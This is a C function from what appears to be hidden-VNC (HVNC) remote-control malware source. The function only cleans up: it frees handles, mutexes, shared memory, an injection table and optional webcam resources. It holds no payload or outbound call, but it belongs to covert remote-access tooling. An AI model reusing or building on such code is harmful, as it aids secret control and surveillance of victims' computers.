void VNCCloseHandle(HVNC hVNC) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if (lpHandle) { if (lpHandle->lpServer->rfbScreen) VNCStopServer(hVNC,HVNCSF_DESTOYSLOLENWNDS); PHVNC lpServer; EnterCriticalSection(&csHVNC); { lpServer=lpHandle->lpServer; HVNC_HANDLE *lpPrev=lpHandle->lpPrev, *lpNext=lpHandle->lpNext; if (lpPrev) lpPrev->lpNext=lpNext; else lpHandles=lpNext; if (lpNext) lpNext->lpPrev=lpPrev; MemFree(lpHandle); } LeaveCriticalSection(&csHVNC); DeleteCriticalSection(&lpServer->WndWatcherInfo.csWndsList); DeleteCriticalSection(&lpServer->ThreadsInfo.csThreads); if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { WaitForSingleObject(hHandlesMutex,INFINITE); for (int i=0; i < HVNC_MAX_HANDLES; i++) { if (lpHandlesMapping[i] == lpServer->Names.dwHash) { for (int j=i+1; j < HVNC_MAX_HANDLES; j++) { lpHandlesMapping[j-1]=lpHandlesMapping[j]; if (!lpHandlesMapping[j]) break; } break; } } ReleaseMutex(hHandlesMutex); } UnmapViewOfFile(lpServer->lpGlobalVNCData); SysCloseHandle(lpServer->hGlobalVNCMapping); SysCloseHandle(lpServer->EventsInfo.hVNCKillEvent); SysCloseHandle(lpServer->EventsInfo.hSharedMemMutex); SysCloseHandle(lpServer->EventsInfo.hInputMutex); SysCloseHandle(lpServer->EventsInfo.hPaintMutex); SysCloseHandle(lpServer->EventsInfo.hClipboardUpdatedEvent); SysCloseHandle(lpServer->EventsInfo.hSendThreadMessageMutex); SysCloseHandle(lpServer->EventsInfo.hSendThreadMessageEvent); #ifdef _HVNC_WEBCAM if (lpServer->DeskInfo.bWebCam) CamCleanup(lpServer); #endif VirtualFree(lpServer,0,MEM_DECOMMIT); } return; }